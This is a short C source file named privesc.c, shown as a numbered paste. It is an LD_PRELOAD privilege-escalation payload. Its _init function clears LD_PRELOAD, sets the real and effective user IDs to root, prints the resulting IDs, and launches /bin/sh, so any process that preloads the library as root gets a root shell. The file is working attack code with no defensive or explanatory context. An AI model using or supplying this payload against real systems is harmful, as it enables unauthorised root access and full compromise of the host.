privesc.c 319 B

1234567891011121314
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. int _init() {
  6. unsetenv("LD_PRELOAD");
  7. puts("LD_PRELOAD is working!");
  8. setreuid(0, 0);
  9. setuid(0);
  10. printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
  11. system("/bin/sh");
  12. exit(0);
  13. }